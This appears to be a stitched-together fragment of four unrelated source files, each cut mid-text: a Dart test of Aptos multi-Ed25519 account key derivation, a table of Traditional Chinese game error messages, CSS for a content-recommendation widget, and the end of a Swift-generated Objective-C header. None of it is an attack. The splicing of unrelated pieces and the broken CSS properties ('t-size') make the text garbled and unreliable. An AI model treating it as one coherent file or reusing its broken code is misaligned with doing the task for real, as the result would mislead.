        "0b513ad9b4924015ca0902ed079044d3ac5dbec2306f06948c10da8eb6e39f2d91a28a0b74381593a4d9469579208926afc8ad82c8839b7644359b9eba9a4b3a0beef5a9e679e6a3e134fe27837bff32c7cb5f5d44ea09bcb0e542bad6a4c0cc02");
    final fromBytes =
        AptosMultiEd25519AccountPublicKey.fromBytes(account.toBytes());
    expect(account.toAddress(), fromBytes.toAddress());
  });
}

void _testMultiEdAccount() {
  test("Multi Ed25519 account 2", () {
    final privateKey1 =
        AptosED25519PrivateKey.fromBytes(List<int>.filled(32, 12));
    final privateKey2 =
        AptosED25519PrivateKey.fromBytes(List<int>.filled(32, 13));
    final privateKey3 =
        AptosED25519PrivateKey.fromBytes(List<int>.filled(32, 14));
    final account = AptosMultiEd25519AccountPublicKey(publicKeys: [
      privateKey1.publicKey,
      privateKey2.publicKey,
      privateKey3.publicKey
    ], threshold: 3);
    expect(
        account.toAddress(),
        AptosAddress(
            "bca0f886d39361116fc4dbe2c80f9ca7edae425030df03b4a158fd448faac91b"));
    expect(account.toBcsHex(),
        "610b513ad9b4924015ca0902ed079044d3ac5dbec2306f06948c10da8eb6e39f2d91a28a0b74381593a4d9469579208926afc8ad82c8839b7644359b9eba9a4b3a0beef5a9e679e6a3e134fe27837bff32c7cb5f5d44ea09bcb0e542bad6a4c0cc03");

    final decode =
        AptosMultiEd25519AccountPublicKey.deserialize(account.toBcs());
    expect(decode.toBcsHex(), account.toBcsHex());
    expect(decode.toHex(),
        "0b513ad9


該物品正在被交易";
ERR_EXHAUSTION_EXHAUSTED = "你現在處於精疲力竭狀態。";
ERR_EXHAUSTION_NORMAL = "你不再是充分休息的狀態。";
ERR_EXHAUSTION_RESTED = "你現在處於休息狀態。";
ERR_EXHAUSTION_TIRED = "你現在處於疲倦乏力狀態。";
ERR_EXHAUSTION_WELLRESTED = "你進入了充分休息的狀態。";
ERR_EX_LEVLTOO_LOW_TO_REDEEM_SOR = "*TEMP TEXT* Your expansion level is too low to redeem this SoR loadout";
ERR_FEATURE_RESTRICTED_TRIAL = "體驗帳號無法使用該功能。";
ERR_FEIGN_DEATH_RESISTED = "抵抗";
ERR_FILTERING_YOU_S = "無法傳送對話給%s因為你的訊息中包含了特定文字。";
ERR_FISH_ESCAPED = "你的魚逃走了！";
ERR_FISH_NOT_HOOKED = "沒有魚上鉤";
ERR_FOLLOWER_DUNGEON_LIMIT_REACHED = "你在近期內進入追隨者地城的次數過多。";
ERR_FOOD_COOLDOWN = "你已經吃得太飽了。";
ERR_FRIEND_ADDED_S = "%s已被加入好友名單。";
ERR_FRIEND_ALREADY_S = "%s已經在你的好友名單中了";
ERR_FRIEND_DB_ERROR = "好友搜尋資料庫錯誤";
ERR_FRIEND_DELETED = "好友已從名單中移除，因為這個角色已經不存在。";
ERR_FRIEND_ERROR = "來自於伺服器中未知好友的回音";
ERR_FRIEND_LIST_FULL = "你的好友列表已經滿了。";
ERR_FRIEND_NOT_FOUND = "找不到該玩家。";
ERR_FRIEND_OFFLINE_S = "%s下線了。";
ERR_FRIEND_ONLINE_SS = "|Hplayer:%s|h[%s]|h上線了。";
ERR_FRIEND_REMOVED_S = "%s已從好友名單中移除。";
ERR_FRIEND_SELF = "你不能把自己加入好友名單中。";
ERR_FRIEND_WRONG_FACTION = "好友必須與你屬於同一陣營。";
ERR_GARRISON_BUILDING_EXISTS = "建築已存在。";
ERR_GARRISON_CANNOT_MOVE_BUILDING = "無法將這個建築移動到空白建地上。";
ERR_GARRISON_COMPLETE_MISSION_WRONG_FOLLOWER_TYPE = "無法用那個來完成這種類別的任務。";
ERR_GARRISON_INVALID_BUILDINGID = "無效的建築ID。";
ERR_GARRISON_INVALID_PLOT = "無效的建地。";
ERR_GARRISON_INVALID_PLOT_BUILDING = "建築無法蓋在那裡。";
ERR_GAR


.0px;
}

.ab_texts-links-2c_bold-titles .trc_rbox_div .videoCube:hover .video-title {
        text-decoration: none;
}
.ab_texts-links-2c_bold-titles .trc_header_left_column {
background: transparent;
display: inline;
height: auto;
}

.ab_texts-links-2c_bold-titles .syndicatedItemUB .branding {
line-height: 16.0px;
}

@media screen and (max-width: 3000px) and (min-width: 768px){
.trc_rbox_container .ab_texts-links-2c_bold-titles.trc_rbox .trc_rbox_header {
t-size: 26px;
}
}

@media screen and (max-width: 767px){
.trc_rbox_container .ab_texts-links-2c_bold-titles.trc_rbox .trc_rbox_header {
t-size: 24px;
}
.trc_rbox_container .ab_texts-links-2c_bold-titles .syndicatedItemUB .video-title {
t-size: 14px;
}
.trc_rbox_container .ab_texts-links-2c_bold-titles .syndicatedItemUB .branding {
t-size: 14px;
}
.ab_texts-links-2c_bold-titles .videoCube .video-label-box .video-title {
t-size: 14px;
}
}
.ab_thumbnails-d_abp-sc img {
        max-width: none;
}

/* override bootstrap default span definitions */
.ab_thumbnails-d_abp-sc [class*=span] {
    float:none;
    margin-left:0px;
}

.ab_thumbnails-d_abp-sc .trc_rbox_header {
    position: relative;
    display: inline-block;
    width: 100%;
	background: transparent;
	height: 37px;
	Line-height: 34px;
}

.ab_thumbnails-d_abp-sc .trc_rbox_header .trc_rbox_header_span {
	position: relative;
}
.ab_thumbnails-d_abp-sc .trc_rbox_header_span .trc_header_right_column {
        display: none;
	background: transparent;
	height: auto;
}

.ab_thumbnails-d_abp-sc .trc_rbox_header .logoDiv {
        font-size: inherit;
        line-height: normal;
}

.ab_thumbnails-d_abp-sc .logoDiv a {
    font-size: 100%;
}

.ab_thumbnails-d_abp-sc .logoDiv a span {
    display: inline;
    color: #000;
    font-weight: normal;
    font-size: 11.0px;
}

.ab_thumbnails-d_abp-sc .videoCube a {
    padding: 0;
}

.ab_thumbnails-d_abp-sc .thumbBlock {
    margin: 0;
}

.trc_elastic .ab_thumbnails-d_abp-sc .video-label-box {
    height: 66.0px;
}

.ab_thumbnails-d_abp-sc .videoCube .video-label-box {
    padding: 0 5px;
    border-color: #E4E4E4;
    border-style: solid;
	border-width: 0 0 0 2px;
}

.ab_thumbnails-d_abp-sc .videoCube .video-label-box .video-title {
    text-decoration: none;
    margin: 0;
}

.ab_thumbnails-d_abp-sc .videoCube:hover .video-label-box .video-title {
    text-decoration: underline;
}

.ab_thumb


nostic ignored "-Wduplicate-method-arg"
#if __has_warning("-Wpragma-clang-attribute")
# pragma clang diagnostic ignored "-Wpragma-clang-attribute"
#endif
#pragma clang diagnostic ignored "-Wunknown-pragmas"
#pragma clang diagnostic ignored "-Wnullability"
#pragma clang diagnostic ignored "-Wdollar-in-identifier-extension"

#if __has_attribute(external_source_symbol)
# pragma push_macro("any")
# undef any
# pragma clang attribute push(__attribute__((external_source_symbol(language="Swift", defined_in="EstimoteUWB",generated_declaration))), apply_to=any(function,enum,objc_interface,objc_category,objc_protocol))
# pragma pop_macro("any")
#endif

#if defined(__OBJC__)

#endif
#if defined(__cplusplus)
#endif
#if __has_attribute(external_source_symbol)
# pragma clang attribute pop
#endif
#pragma clang diagnostic pop
#endif

#else
#error unsupported Swift architecture
#endif